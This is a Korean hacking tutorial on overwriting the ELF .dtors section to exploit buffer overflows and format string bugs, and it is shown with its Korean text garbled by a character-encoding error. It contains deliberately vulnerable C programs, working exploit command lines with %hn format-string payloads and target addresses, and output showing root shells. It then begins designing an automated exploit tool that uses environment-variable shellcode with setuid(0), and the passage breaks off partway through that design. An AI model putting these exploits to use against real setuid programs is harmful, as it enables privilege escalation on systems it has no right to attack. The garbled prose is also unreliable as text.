------------------------------------------------------------------------- .dtors¸¦ ÀÌ¿ëÇÑ Format string ÀÚµ¿È­Åø ¼³°è ============================================= by amadoh4ck in Null@Root amadoh4ck@kebi.com 0. Àâ´ã 1. ELF¶õ ¹«¾ùÀΰ¡? 2. .dtors¶õ? 3. .dtors¸¦ ÀÌ¿ëÇÑ ¿¹Á¦ 4. .dtors¸¦ ÀÌ¿ëÇÑ Format string attack 5. ÀÚµ¿È­ÅøÀÇ ¼³°è 6. ¸¶Ä¡¸ç 7. Âü°í¹®Çå # º°Ã· (auto_fsb.c) 0. Àâ´ã ÇÊÀÚ´Â ¿äÁò ÇØÅ·¿¡ ´ëÇØ ¸¹Àº ȸÀǸ¦ ´À³¤´Ù. Çѱ¹À» ÁÖ¸§Àâ°í ÀÖ´Â ¸¹Àº ÇØÄ¿µéÀº ÀÚ½ÅÀÇ Áö½ÄÀ» °øÀ¯ÇÏÁö ¾Ê´Â´Ù. ½ÉÁö¾î, ÀÚ½ÅÀÇ Áö½ÄÀ» ¾Ë¸®·Á ÇÏ´Â ÇØÄ¿µé¿¡°Ô "½Ç·ÂÀ» »Ë³»´Â »ç¶÷"À̶ó´Â ¼Õ°¡¶ôÁúÀ» ÇÏ°ï ÇÑ´Ù. ¹°·Ð ¸ðµÎ°¡ ±×·¸´Ù´Â °ÍÀº ¾Æ´Ï´Ù. ±â¼úÀº Á¡Á¡ ºü¸£°Ô ¹ßÀüÇÏ°í ÀÖ´Ù. ÇÑ »ç¶÷ÀÌ »¡¶óÁ®¸¸ °¡´Â ±â¼úÀ» µû¶ó °¡´Â°Ç ¿©°£ Èûµç ÀÏÀÌ ¾Æ´Ï´Ù. ±×·¯³ª, ¸ÕÀú ÀÍÈù »ç¶÷ÀÌ ÀÚ½ÅÀÇ Áö½ÄÀ» °øÀ¯ÇÑ´Ù¸é ±â¼ú°ú Áö½Ä¿¡ ´ëÇØ ²÷ÀÓ¾øÀÌ µ¿°æÇÏ°í µµÀüÇÏ´Â ¸¹ Àº »ç¶÷µé¿¡°Ô µµ¿òÀ» ÁÙ °ÍÀ̸ç, ±×·Î ÀÎÇØ º¸¾ÈÀÇ ºÒ¸ðÁöÀÎ ¿ì¸®³ª¶ó ¿¡ ¸¹Àº µµ¿òÀÌ µÉ °ÍÀ̶ó°í »ý°¢ÇÑ´Ù. ÀÌÁ¦´Â ¿ì¸®³ª¶ó ÇØÄ¿µéÀÇ »ç»óÀÌ ´Þ¶óÁ®¾ß ÇÒ ¶§¶ó°í »ý°¢ÇÑ´Ù. ÀڽŠÀÌ ¾î·Æ°Ô ½ÀµæÇÑ ±â¼úÀ» °øÀ¯ÇÏ°í ±×·Î ÀÎÇØ »¡¶óÁ®¸¸ °¡´Â ±â¼úÀÇ ¹ß ÀüÀ» µû¶ó°¥ ¼ö ÀÖ¾úÀ¸¸é ÇÏ´Â ÀÛÀº ¹Ù·¥¿¡¼­ ÀÌ ±ÛÀ» ¿ì¸®³ª¶óÀÇ ¸¹Àº hard study hackerµé¿¡°Ô ¹ÙÄ£´Ù. ÀÌ ¹®¼­´Â ½Ã½ºÅÛ¿¡ ´ëÇÑ ÀÌÇØ¿Í Format string attack¿¡ ´ëÇÑ Áö½ÄÀÌ ÀÖ´Â »ç¿ëÀÚµéÀ» À§ÇØ ÀÛ¼ºµÇ¾ú´Ù. ÀÌ ¹®¼­¸¦ Àбâ Àü¿¡ µ¶ÀÚµéÀº ¸Þ¸ð ¸®¿Í Format string attack¿¡ °üÇÑ Áö½ÄÀ» °¡Á®¾ß ÇÑ´Ù. 1. ELF¶õ ¹«¾ùÀΰ¡? ¸®´ª½º¸¦ Æ÷ÇÔÇÑ À¯´Ð½º´Â »ç¿ëÀÚÀÇ ¸í·ÉÀ» Çؼ®ÇÏ´Â ¸í·É¾î Çؼ®±â (command interpreter)°¡ ÀÖ´Ù. º¸Åë ½©(shell)À̶ó°í ºÎ¸£´Â °ÍÀ¸·Î sh, csh, ksh, bash, tcsh µîÀÌ ÀÖ´Ù. ÀÌ·¯ÇÑ ½©À» ÅëÇÏ¿© ½ÇÇà µÉ ¼ö ÀÖ´Â ÆÄÀϵéÀº ¿©·¯°¡Áö°¡ ÀÖÀ¸¸ç, ±× Áß Çϳª°¡ ELF Æ÷¸äÀ» »ç¿ëÇÏ´Â ÀÌÁøÆÄÀÏÀÌ´Ù. ELF(Executable and Linkable Format) Æ÷¸äÀº À¯´Ð½º ½Ã½ºÅÛ ¿¬±¸¼Ò ¿¡¼­ µðÀÚÀÎÇÑ °ÍÀ¸·Î, ECOFF³ª a.outµîÀÇ ÆÄÀÏ Æ÷¸ä¿¡ ºñÇØ ¾à°£ÀÇ ¿À¹öÇìµå°¡ ÀÖÁö¸¸, À¯¿¬¼ºÀº ¶Ù¾î³ª´Ù. ¸®´ª½º¿¡¼­ °¡Àå ÀϹÝÀûÀ¸·Î »ç¿ëµÇ´Â Æ÷¸äÀ¸·Î ÀÚ¸®Àâ¾Æ °¡°í ÀÖ´Ù. /usr/include/elf.hÀº EFL Çì´õ Á¤ÀÇÀÌ´Ù(redhat 7.0). ÀÚ¼¼ÇÑ ºÐ¼® À» ¿øÇÏ´Â »ç¶÷Àº °£´ÜÇÑ ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏ¿© hexdump·Î ½ÇÇàÆÄÀÏÀÇ ³»¿ëÀ» ºÐ¼®ÇØ º¸¸é Àç¹ÌÀÖÀ» °ÍÀÌ´Ù. ELF´Â ½ÇÇà À̹ÌÁö¿¡ ½ÇÇà °¡´É ÇÑ ¸ðµç ÄÚµå¿Í µ¥ÀÌÅ͸¦ °¡Áö´Â Á¤Àû¸µÅ© À̹ÌÁö¿Í °øÀ¯¶óÀ̺귯¸® (shared library)ÀÇ ÄÚµå¿Í µ¥ÀÌÅ͸¦ ¸µÅ©ÇÏ´Â µ¿Àû¸µÅ© À̹ÌÁö·Î ±¸¼º µÈ´Ù. ¶ÇÇÑ, EFL Æ÷¸äÀº ÇÁ·Î±×·¥ÀÇ ½ÃÀÛ°ú Á¾·á½Ã ƯÁ¤ ÇÔ¼ö¸¦ ½ÇÇàÇÒ ¼ö ÀÖ´Â À¯¿ë¼ºÀ» Áö´Ñ´Ù. ¿ì¸®´Â À̸¦ constructors, destructors¶ó°í ºÎ¸¥´Ù. ELF¿¡ ´ëÇØ Àß ¾Ë°í ÀÖÀ¸¸é Unix¿ë ¹ÙÀÌ·¯½ºµµ ±¸ÇöÇÒ ¼ö ÀÖ´Ù. lamagraÀÇ core Zine 3¿¡´Â ELF Æ÷¸ä¿¡¼­ÀÇ ¹ÙÀÌ·¯½º ±¸Çö¿¡ ´ëÇÑ ±ÛÀÌ ³ª¿Â´Ù. ±×·¯³ª, Áö±Ý ¿ì¸®°¡ ÇÊ¿äÇÑ °ÍÀº constructors¿Í destructors ÀÌ´Ù. ÀÌ µÎ ¼Ó¼º¿¡ ´ëÇØ ÀÚ¼¼È÷ ¾Ë¾Æº¸µµ·Ï ÇÏÀÚ. 2. .dtors¶õ? gcc¿¡´Â Èï¹ÌÀÖ´Â µÎ°³ÀÇ ¼Ó¼ºÀÌ ÀÖ´Ù. constructors¿Í destructors Àε¥ ÀÌ ¼Ó¼ºÀº ¾Æ·¡¿Í °°Àº Á¤ÀǸ¦ ÅëÇØ ÇÁ·Î±×·¡¸Ó¿¡ ÀÇÇØ ÀÛ¼ºµÇ¾îÁú ¼ö ÀÖ´Ù. ================================================================== static void start(void) __attribute__ ((constructor)); static void stop(void) __attribute__ ((destructor)); ================================================================== constructor ¼Ó¼ºÀÇ ÇÔ¼ö´Â main() Àü¿¡ ½ÇÇàµÇ°í, destructor ¼Ó¼ºÀÇ ÇÔ¼ö´Â main() Á¾·áÈÄ¿¡ ½ÇÇàµÈ´Ù. destructor ¼Ó¼º ÇÔ¼ö´Â exit()¿¡ ÀÇ ÇÑ Á¾·á½Ã¿¡µµ ½ÇÇàÀÌ µÈ´Ù. ELF ½ÇÇà °¡´ÉÇÑ ÀÌÁøÆÄÀÏ·Î ¸¸µé¾îÁø ÀÌ¹Ì Áö¿¡´Â .ctors¿Í .dtors µÎ ¿µ¿ªÀ¸·Î Ç¥ÇöµÇ¸ç, ´ÙÀ½°ú °°Àº Ư¡°ú ·¹ À̾ƿôÀ» °¡Áø´Ù. * .ctors(constructor)¿Í .dtors(destructor)´Â ±âº»ÀûÀ¸·Î ¾²±â °¡´É ÇÑ ¸Þ¸ð¸®¿¡ ±â·ÏµÇ¾îÁø´Ù. * ¾²¿©Áö´Â ¿µ¿ªÀÌ ÀÌÁø strip°ú ±ÙÁ¢ÇØ ÀÖ´Ù. * 0xffffffff ...0x00000000 ÀÌ¿Í °°Àº ·¹À̾ƿôÀ» °¡Áø´Ù. ±×·¸´Ù¸é ¿ì¸®´Â ¾î¶»°Ô ÀÌ ¿µ¿ªÀ» ÀÌ¿ëÇÏ¿© ¿ì¸®°¡ ¿øÇÏ´Â ¸ñÀûÀ» ´Þ ¼ºÇÒ ¼ö ÀÖÀ»±î? ÀÌ ºÎºÐÀ» À§ÇØ Àá½Ã ¸Þ¸ð¸®¿¡ ´ëÇÑ À̾߱⸦ ÇØ º¸ÀÚ. buffer¿¡´Â stack, heap, initialized data, bss µîÀÌ ÀÖ´Ù. stack°ú heap ¿µ¿ªÀº ¸ðµÎ Àß ¾Ë°í ÀÖÀ¸¸®¶ó°í º»´Ù. bss(block structured by symbol section)´Â ÃʱâÈ­ µÇÁö ¾ÊÀº µ¥ÀÌŸ(uninitialized data)µéÀÌ ÀúÀåµÇ´Â ¿µ¿ªÀÌ´Ù. ´ÙÀ½Àº °¢°¢ÀÇ ¿µ¿ªÀÌ ¸Þ¸ð¸® »ó¿¡¼­ ¾îµð¿¡ À§Ä¡ÇÏ´Â Áö¸¦ º¸¿©ÁØ´Ù. ================================================================= | init | | | | text(code) | data | bss | heap | virtual memory space | stack ================================================================= low high c Äڵ忡 ¾²¿©Áö´Â ¹æ½ÄÀ» º¸¸é ´õ ½±°Ô ÀÌÇØÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. ================================================================= stack : char buf[1024]; heap : char *buf; buf = malloc(1024); bss : static char buf[]; initialized data : static char buf[] = "test"; ================================================================= ÇÊÀÚ°¡ ¾ö¹ÐÈ÷ ¸Þ¸ð¸® ¿µ¿ªÀ» Á¶»çÇØ º» °á°ú .ctors¿Í .dtors´Â Ãʱâ È­µÈ data ¿µ¿ª°ú bss ¿µ¿ª »çÀÌ¿¡ Á¸ÀçÇÑ´Ù. ±×¸®°í, stack ¿µ¿ªÀ» Á¦¿Ü ÇÑ ¸Þ¸ð¸® ¿µ¿ªÀº low address¿¡¼­ high address·Î ÀúÀåµÇ¾î °£´Ù. ±×·¯ ¹Ç·Î ÇÁ·Î±×·¥ »ó¿¡ ÃʱâÈ­µÈ data ¿µ¿ª¿¡ overflow°¡ ÀÖ´Ù¸é ¿ì¸®´Â .dtors¸¦ µ¤¾î ¾¸À¸·Î½á exit()¿Í »ó°ü¾øÀÌ overflow¸¦ ÀÏÀ¸ÄÑ ½©À» ¾òÀ» ¼ö ÀÖ´Â °ÍÀÌ´Ù. ¾Õ¿¡¼­ ¾ð±ÞÇßµíÀÌ .ctors´Â main()ÇÔ¼ö ½ÃÀÛ Àü¿¡ È£ÃâÀÌ µÈ´Ù. ±×·¯ ¹Ç·Î, ¹öÆÛ¿À¹öÇ÷ο찡 ÀϾ±â Àü¿¡ .ctors°¡ È£ÃâµÉ °ÍÀÌ´Ù. ±×·¡¼­ ¿ì¸®´Â .dtors ¿µ¿ªÀ» µ¤¾î ¾µ °ÍÀÌ´Ù. ÀÌÁ¦ º»°ÝÀûÀ¸·Î .dtors¸¦ µ¤¾î ½á º¸µµ·Ï ÇÑ´Ù. 3. .dtors¸¦ ÀÌ¿ëÇÑ ¿¹Á¦ ¾Õ¿¡¼­ »ìÆ캸¾Òµí .dtors¸¦ overflow Çϱ⠽±°Ô Çϱâ À§ÇØ buf¸¦ Ãʱâ È­µÈ data ¿µ¿ª¿¡ ÇÒ´çÇÏ¿©¾ß ÇÑ´Ù. .dtors¸¦ µ¤¾î ¾µ ¿¹Á¦¸¦ º¸ÀÚ. ================================================================== $ cat > dt1.c << EOF #include void tmp_func(void) { printf("Exploit success..\n"); } int main(int argc, char *argv[]) { /* buf¸¦ initialized data ¿µ¿ª¿¡ ÇÒ´ç static unsigned char buf[] = "test"; if (argc < 2) { printf("Usage: %s \n", argv[0]); exit(-1); } strcpy(buf, argv[1]); /* ¿À¹öÇÃ·Î¿ì ¹ß»ý */ /* buf°ª Ãâ·Â */ printf("input string = %s\n", buf); /* exit(0)À¸·Î Á¾·áµÇ¾îµµ exploitÀÌ ¼öÇàµÇ´Â Áö Å×½ºÆ® */ exit(0); } EOF $ gcc dt1.c -o dt1 $ ./dt1 test tmp_func = 0x80484cc input string = test $ objdump -h dt1 | grep "\.data" 14 .data 00000018 08049610 08049610 00000610 2**2 $ objdump -h dt1 | grep dtors 17 .dtors 00000008 08049634 08049634 0000060c 2**2 $ objdump -s -j .dtors dt1 dt1: file format elf32-i386 Contents of section .dtors: 8049634 ffffffff 00000000 ================================================================== À§¿¡¼­ º¸´Â ¹Ù¿Í °°ÀÌ buf°¡ ÇÒ´çµÈ .data ¿µ¿ªÀº .dtors ¿µ¿ªº¸´Ù ¸Þ¸ð¸®»óÀ¸·Î ³·Àº °÷¿¡ À§Ä¡ÇØ ÀÖ´Ù. ¶ÇÇÑ, .dtors ¿µ¿ª¿¡´Â ·¹À̾ƿô Áß¿¡ .dtors ¸®½ºÆ®ÀÇ ½ÃÀÛÀ» ³ªÅ¸³»´Â ffffffff¿Í ³¡À» ³ªÅ¸³»´Â 0000 0000 ¸¸ Á¸ÀçÇÑ´Ù. ÀÌ´Â ÇÁ·Î±×·¥¿¡¼­ stop(void)¸¦ Á¤ÀÇÇØ ÁÖÁö ¾Ê¾Ò ±â ¶§¹®ÀÌ´Ù. ±×·¸´Ù¸é ¿ì¸®´Â 00000000 ºÎºÐÀ» ¿ì¸®°¡ ½ÇÇàÇϱ⸦ ¿ø ÇÏ´Â ¸í·ÉÀÇ ÁÖ¼Ò°ªÀ¸·Î ¹Ù²Ù¾î ÁÖ¸é µÉ °ÍÀÌ´Ù. ÀÌÁ¦ ÇÁ·Î±×·¥ÀÌ Á¤»ó ÀûÀ¸·Î ÁøÇàµÈ´Ù¸é Àý´ë ½ÇÇàµÉ ¼ö ¾ø´Â tmp_func()À» ½ÇÇà½ÃÄÑ º¸ÀÚ. $ objdump --syms dt1 | grep tmp_func 080484cc g F .text 00000018 tmp_func $ ÇÁ·Î±×·¥ÀÇ Ãâ·ÂÀ¸·Î ÀÌ¹Ì tmp_func()ÀÇ ÁÖ¼Ò°ªÀÌ 0x80484cc¶ó´Â °Í À» ¾ËÁö¸¸, ´õ È®½ÇÈ÷ Çϱâ À§ÇØ objdumpÀÇ --syms ¿É¼ÇÀ¸·Î ÁÖ¼Ò°ªÀ» È®ÀÎÇØ º¸¾Ò´Ù. $ ./dt `perl -e 'print "A"x28'` tmp_func = 0x80484cc input string = AAAAAAAAAAAAAAAAAAAAAAAAAAAA ¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù (core dumped) $ bufÀÇ Length°¡ 24¸¦ ³Ñ¾î °¡¸é¼­ ºÎÅÍ ¼¼±×¸àÅ×À̼ÇÀÌ ¹ß»ýÇÏ´Â °Í À» º¼¼ö ÀÖ´Ù. ÃßÃøÄÁ´ë 25 ~ 28±îÁö°¡ dtorsÀÇ 00000000 ºÎºÐÀÓÀ» ¾Ë ¼ö ÀÖ´Ù. ±×·¸´Ù¸é ÀÌ ¿µ¿ª¿¡ tmp_funcÀÇ ÁÖ¼Ò°ªÀ» ³Ö¾îº¸ÀÚ. $ ./dt1 `perl -e 'print "A"x24; print "\xcc\x84\x04\x08";'` tmp_func = 0x80484cc input string = AAAAAAAAAAAAAAAAAAAAAAAA ¦Ã Exploit success.. ¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù (core dumped) $ ¿ì¸®°¡ ÀǵµÇÑ ¹Ù´ë·Î Àß ½ÇÇàµÈ °ÍÀ» È®ÀÎÇÒ ¼ö ÀÖ´Ù. core ÆÄÀÏÀ» µð¹ö±ëÇØ º½À¸·Î½á ¾î¶² ºÎºÐÀÌ ¹Ù²î¾ú´Â Áö È®ÀÎÇØ º¸ÀÚ. $ gdb dt1 core GNU gdb 5.0 Copyright 2000 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, . . Core was generated by `./dt1 AAAAAAAAAAAAAAAAAAAAAAAA '. Program terminated with signal 11, Segmentation fault. . . #0 0x804967d in _DYNAMIC () (gdb) bt #0 0x804967d in _DYNAMIC () #1 0x804844a in __do_global_dtors_aux () #2 0x80485b5 in _fini () #3 0x4004f29f in exit (status=0) at exit.c:57 #4 0x804855c in main () #5 0x4003bbfc in __libc_start_main (main=0x80484e4
, argc =2, ubp_av=0xbffff8a4, init=0x804832c <_init>, fini=0x804859c <_fini>, rtld_fini=0x4000d674 <_dl_fini>, stack_end=0xbffff89 c> at ../sysdeps/generic/libc-start.c:118 (gdb) maintenance info sections . . . . 0x0804962c->0x08049634 at 0x0000062c: .ctors ALLOC LOAD DA.. 0x08049634->0x0804963c at 0x00000634: .dtors ALLOC LOAD DA.. . . . . (gdb) x/10x 0x8049634 0x8049634 <__DTOR_LIST__>: 0x41414141 0x080484cc 0x08049.. . . (gdb) gdb·Î µð¹ö±ëÇØ º» °á°ú À§¿Í °°ÀÌ .dtorsÀÇ 0xffffffff´Â AAAA·Î ¹Ù ²î¾ú°í, 0x00000000ºÎºÐÀº tmp_func()ÀÇ ÁÖ¼Ò°ªÀ¸·Î ¹Ù²î¾ú´Ù. À̸¦ Åë ÇØ ¿ì¸®´Â .dtors ¿µ¿ª Çì´õÁß ¾ÕºÎºÐÀÇ °ª 0xffffffff´Â ¾û¶×ÇÑ ´Ù¸¥ °ªÀ¸·Î º¯Çصµ ÇÁ·Î±×·¥ÀÇ È帧¿¡ ¾Æ¹« ¿µÇâÀÌ ¾øÀ½À» ¾Ë ¼ö ÀÖ´Ù. Áö±Ý±îÁö Å×½ºÆ®¸¦ ÅëÇØ .dtors¸¦ µ¤¾î ¾²¸é exit()¸¦ È£ÃâÇÏ´õ¶óµµ ¿øÇÏ´Â ÇÔ¼ö³ª ½©µîÀ» È£ÃâÇÒ ¼ö ÀÖÀ½À» º¸¾Ò´Ù. ÀÌ·¯ÇÑ ¹æ¹ýÀº »ç½Ç»ó ½ÇÁ¦ »óȲ¿¡¼­´Â º°·Î »ç¿ëÇÒ ¼ö ¾øÁö¸¸, Format string attackÀÇ °æ¿ì ´Â ¾ÆÁÖ À¯¿ëÇÏ°Ô »ç¿ëµÉ ¼ö ÀÖ´Ù. ÀÌÁ¦ ºÎÅÍ .dtors¸¦ ÀÌ¿ëÇÏ¿© ½±°Ô Format string attackÀ» ÇÏ´Â ¹æ¹ý¿¡ ´ëÇØ À̾߱â ÇØ º¸ÀÚ. 4. .dtors¸¦ ÀÌ¿ëÇÑ Format string attack .dtors¸¦ µ¤¾î¾²´Â ¹æ¹ýÀº ¹öÆÛ°¡ initialized data ¿µ¿ª¿¡ ÇÒ´çµÇ´Â ÇÁ·Î±×·¥¿¡¼­¸¸ Àû¿ëµÇ´Â ´ÜÁ¡ÀÌ ÀÖ´Ù. ±×·¯³ª, µ¤¾î ¾²´Â ÁÖ¼Ò°¡ ¹öÆÛ ÀÇ ¿µ¿ª°ú ÀüÇô »ó°üÀÌ ¾ø´Â Format string attack¿¡¼­´Â ÀÌ ¹æ¹ýÀÌ ¾Æ ÁÖ À¯¿ëÇÏ°Ô »ç¿ëµÉ ¼ö ÀÖ´Ù. ¹öÆÛ¿¡ ¿ì¸®°¡ µ¤¾î ¾²±â¸¦ ¿øÇÏ´Â ¾î´À ÁÖ¼Ò°ªÀÌ¶óµµ ¹Ù²Ü ¼ö Àֱ⠶§¹®ÀÌ´Ù. Format string ¹ö±×°¡ Á¸ÀçÇÏ´Â °£´ÜÇÑ ÇÁ·Î±×·¥À» °¡Áö°í ÀÌ ¹æ¹ýÀ» Àû¿ëÇØ º¸ÀÚ. ========== fmt1.c ======================================================== #include int main(int argc, char *argv[]) { char buf[1024]; memset(buf, 0, 1024); read(0, buf, 1024); printf(buf); } ================================================================== ÀÌ ÇÁ·Î±×·¥Àº »ç¿ëÀÚ·Î ºÎÅÍ Ç¥ÁØÀÔ·Â(0)À» ¹Þ¾Æ ÀÔ·Â ³»¿ëÀ» Ãâ·ÂÇÏ ´Â °£´ÜÇÑ ÇÁ·Î±×·¥ÀÌ´Ù. ¿©·¯ºÐµµ ¾Ë°ÚÁö¸¸, ÀÌ ÇÁ·Î±×·¥¿¡´Â Format string bug°¡ Á¸ÀçÇÑ´Ù. printf("%s", buf); ¿Í °°Àº Ç¥ÇöÀ» ½á¾ß ÇÏÁö ¸¸ ÇÁ·Î±×·¥»ó¿¡´Â ¹öÆÛ¸¦ Á÷Á¢ Æ÷¸ä½ºÆ®¸µÀ¸·Î »ç¿ëÇÏ¿´´Ù. ÀÌÁ¦ ÀÌ ÇÁ ·Î±×·¥À» ÀͽºÇ÷ÎÀÕ ½ÃÄÑ º¸ÀÚ. $ ./fmt1 AAAA %8x %8x %8x %8x %8x %8x AAAA bfffec60 400 0 41414141 78382520 78382520 $ objdump -h fmt1 | grep dtors 17 .dtors 00000008 080495a0 080495a0 000005a0 2**2 $ ÀͽºÇ÷ÎÀÕ ½ÃÅ°±â À§ÇØ ÇÊ¿äÇÑ %8xÀÇ °³¼ö´Â 3°³À̸ç, µ¤¾î½á¾ß ÇÒ .dtors °ªÀº 0x80495a0 + 4 ÀÓÀ» ¾Ë ¼ö ÀÖ´Ù. ¾ò¾îÁø °á°ú°ªÀ» ÀÌ¿ëÇÏ¿© ÀͽºÇ÷ÎÀÕ ½ÃÅ°¸é ´ÙÀ½°ú °°´Ù. $ (printf "ZZZZ\xa6\x95\x04\x08ZZZZ\xa4\x95\x04\x08%%8x%%8x%%8x%%49 111c%%hn%%13165c%%hn"; cat) | ./fmt1 . . . . . . id; uid=0(root) gid=500(amado) groups=500(amado) ^C $ ¼º°øÀÌ´Ù. ÀÌ¿Í°°ÀÌ Æ÷¸ä½ºÆ®¸µ °ø°ÝÀ» À§ÇØ ÀûÀýÇÑ return address¸¦ ±¸ÇÏ´Â ¼ö°í ¾øÀÌ .dtors¸¦ ±¸ÇÔÀ¸·Î½á ½±°Ô ½©À» ¶ç¿ï ¼ö ÀÖÀ½À» ¾Ë ¼ö ÀÖ´Ù. ÀÔ·ÂÀ» ´Ù¸¥ ¹æ½ÄÀ¸·Î ¹Þ´Â ´Ù¸¥ ÇÁ·Î±×·¥µµ °°Àº °á°úÀÎÁö Å×½ºÆ® ÇØ º¸ÀÚ. ========== fmt2.c ======================================================== #include void copy_it(char *dst, char *src) { int test; snprintf(dst, 1024, src); } int main(int argc, char *argv[]) { char buf[1024]; if (argc < 2) { printf("Usage: %s \n", argv[0]); exit(-1); } copy_it(buf, argv[1]); printf("%s\n", buf); } ================================================================== ÀÌ ÇÁ·Î±×·¥Àº argv[1]ÀÇ ÀÎÀÚ¸¦ ÅëÇØ »ç¿ëÀÚÀÇ ÀÔ·ÂÀ» ¹Þ¾Æµé¿© ÀÔ·Â ¹ÞÀº ¹®ÀÚ¸¦ Ãâ·ÂÇØ ÁÖ´Â ÇÁ·Î±×·¥ÀÌ´Ù. ÀÌ ÇÁ·Î±×·¥µµ À§¿Í ¸¶Âù°¡Áö·Î Æ÷¸ä½ºÆ®¸µ ¹ö±×°¡ Á¸ÀçÇÑ´Ù. copy_it(...)ÇÔ¼öÀÇ snprintf¿¡ Æ÷¸ä½ºÆ®¸µ ¹®Á¦°¡ ÀÖ´Ù. ÀÌ ÇÁ·Î±×·¥µµ ÀͽºÇ÷ÎÀÕ ½ÃÄѺ¸ÀÚ. $ ./fmt2 "AAAA %8x %8x %8x %8x %8x %8x %8x %8x %8x" AAAA 0 0 0 bffff038 8048533 bfffec30 bffff1f1 0 41414141 $ $ objdump -h ./fmt2 | grep dtors 17 .dtors 00000008 080495e8 080495e8 000005e8 2**2 $ ÀͽºÇ÷ÎÀÕ ½ÃÅ°±â À§Çؼ­ ÇÊ¿äÇÑ %8xÀÇ °³¼ö´Â 9°³À̸ç, µ¤¾î½á¾ß ÇÒ .dtors ´Â 0x80495e8 + 4 ÀÓÀ» ¾Ë ¼ö ÀÖ´Ù. ÀÌ °á°ú°ªÀ» ÀÌ¿ëÇÏ¿© Àͽº Ç÷ÎÀÕ ½ÃÄÑ º¸ÀÚ. $ perl -e 'system "fmt2", "ZZZZ\xee\x95\x04\x08ZZZZ\xec\x95\x04\x08% 8x%8x%8x%8x%8x%8x%8x%8x%8x%49063c%hn%13165c%hn"' # id uid=0(root) gid=500(amado) groups=500(amado) # ¿ª½Ã ¼º°øÇß´Ù. ÀÌ¿Í °°ÀÌ ÀԷ¹޴ Çü½ÄÀÌ ¾î¶² ¹æ½ÄÀÌ´ø »ó°ü¾øÀÌ .dtors¸¦ ÀÌ¿ëÇÏ¿© ¿øÇÏ´Â ¹Ù(½©)¸¦ ¾òÀ» ¼ö ÀÖ´Ù´Â °ÍÀ» ¾Ë ¼ö ÀÖ´Ù. 5. ÀÚµ¿È­ÅøÀÇ ¼³°è ¿ì¼± ÀÚµ¿È­ÅøÀ» À§ÇØ ÇÊ¿äÇÑ °ÍµéÀÌ ¹«¾ùÀÎÁö »ìÆ캸ÀÚ. 1) Á¤È®ÇÑ shellcodeÀÇ ÁÖ¼Ò°ªÀ» ±¸ÇØ¾ß ÇÑ´Ù. Á¤È®ÇÑ shellcodeÀÇ ÁÖ¼Ò°ªÀ» ±¸Çϱâ À§ÇØ ÇÊÀÚ´Â egg shellÀ» »ç ¿ëÇÑ´Ù. ÇÁ·Î±×·¥¿¡¼­ º¸¸é ¾Ë°ÚÁö¸¸, AMADOH4CKÀ̶ó´Â ȯ°æº¯¼ö¿¡ NOP + shellcode¸¦ ³Ö°í, ÀÌ È¯°æº¯¼öÀÇ ÁÖ¼Ò°ªÀ» ã¾Æ¼­ Á¤È®ÇÑ shellcodeÀÇ ÁÖ¼Ò°ªÀ» ¾ò´Â °ÍÀÌ´Ù. ÀÚ¼¼ÇÑ °ÍÀº º°Ã·À» Âü°íÇ϶ó. ¾î¶² ÀÌ´Â redhat 7.0¿¡¼­´Â ¹öÆÛ¿À¹öÇ÷ο찡 ºÒ°¡´É ÇÏ´Ù°í ¸»ÇÑ ´Ù. ±×·¯³ª, ÀÌ°ÍÀº ¹º°¡ È¥µ¿ÇÑ °ÍÀÌ´Ù. ¹öÆÛ¿À¹öÇ÷ο츦 ÇÏ¿´´Ù ÇÏ´õ¶óµµ root shellÀÌ ¶ßÁö ¾Ê´Â ÀÌÀ¯´Â Ä¿³Î¿¡¼­ setuid ºÙÀº ÇÁ ·Î±×·¥À» ½ÇÇà½ÃÅ°±â Àü¿¡ seteuid(getuid())¿Í °°Àº ½ÄÀÇ ¸í·ÉÀ» ¸ÕÀú ³»¸®±â ¶§¹®ÀÌ´Ù. ±×·¯³ª, ÀÌ·¯ÇÑ ¹®Á¦´Â ½©Äڵ忡 setuid(0) À» µ¡ºÙÀÓÀ¸·Î½á ÇØ°áÇÒ ¼ö ÀÖ´Ù. ¶ÇÇÑ, ±×º¸´Ù ´õ °£´ÜÇÑ ¹æ¹ýÀ¸·Î setreuid(0, 0); execv("/bin/sh", "sh", NULL); °ú °°Àº ÇÁ·Î±×·¥ À» ÀÛ¼ºÇÑ ÈÄ /bin/shÀ» ÀÌ ÇÁ·Î±×·¥ÀÇ À̸§À¸·Î ¹Ù²ã ³õÀ¸¸é µÈ´Ù. 2) Á¤È®ÇÑ return address °ªÀ» ±¸ÇØ¾ß ÇÑ´Ù. Á¤È®ÇÑ return address °ªÀ» ±¸Çϱâ À§Çؼ­ ÇÊÀÚ´Â Áö±Ý±îÁö ¾ð±ÞÇØ ¿Â .dtors ÁÖ¼Ò°ªÀ» objdump¿Í awk, grep µîÀ» ÀÌ¿ëÇÏ¿© ±¸ÇÑ´Ù. ±×·¯³ª, ¸¸¾à ¿î³ª»Ú°Ô .dtors ÁÖ¼Ò°ª¿¡ NULL(0) ¹®ÀÚ°¡ µé¾î°£´Ù¸é return address¸¦ ÀÏÀÏÀÌ ±¸Çؼ­ ÀͽºÇ÷ÎÀÕ ½ÃÄÑ¾ß ÇÑ´Ù. 3) shellcodeÀÇ ÁÖ¼Ò°ªÀ» high¿Í low·Î ³ª´©¾úÀ»¶§ 󸮸¦ ÀÚµ¿À¸·Î ÇØ ÁÖ¾î¾ß ÇÑ´Ù. ¿ì¸®´Â ÀͽºÇ÷ÎÀÕÀ» À§ÇØ %hn Æ÷¸ä½ºÆ®¸µÀ» »ç¿ëÇÒ °ÍÀÌ°í, À̸¦ À§Çؼ­ shellcodeÀÇ ÁÖ¼Ò°ªÀ» 2°³·Î ÂÉ°Ô¾ß ÇÑ´Ù. ±×¸®°í, °ªÀÌ ÀÛÀº °ÍºÎÅÍ ½á ³ª°¡¾ß ÇϹǷÎ, À̸¦ À§ÇÑ Ã³¸®°¡ ÇÊ¿äÇÏ´Ù. º°Ã·ÀÇ ÄÚµå ¸¦ º¸¸é ÀÌÇØÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. 4) µÎ°¡Áö ÀÔ·ÂÇü½Ä ¸ðµå¸¦ Áö¿øÇØ¾ß ÇÑ´Ù. À̸¦ ÇØ°áÇϱâ À§ÇØ typeÀ» ³ªÅ¸³»´Â ÀÎÀÚ¸¦ ÀÔ·ÂÇØ ÁÖ¾î¾ß ÇÏ´Â 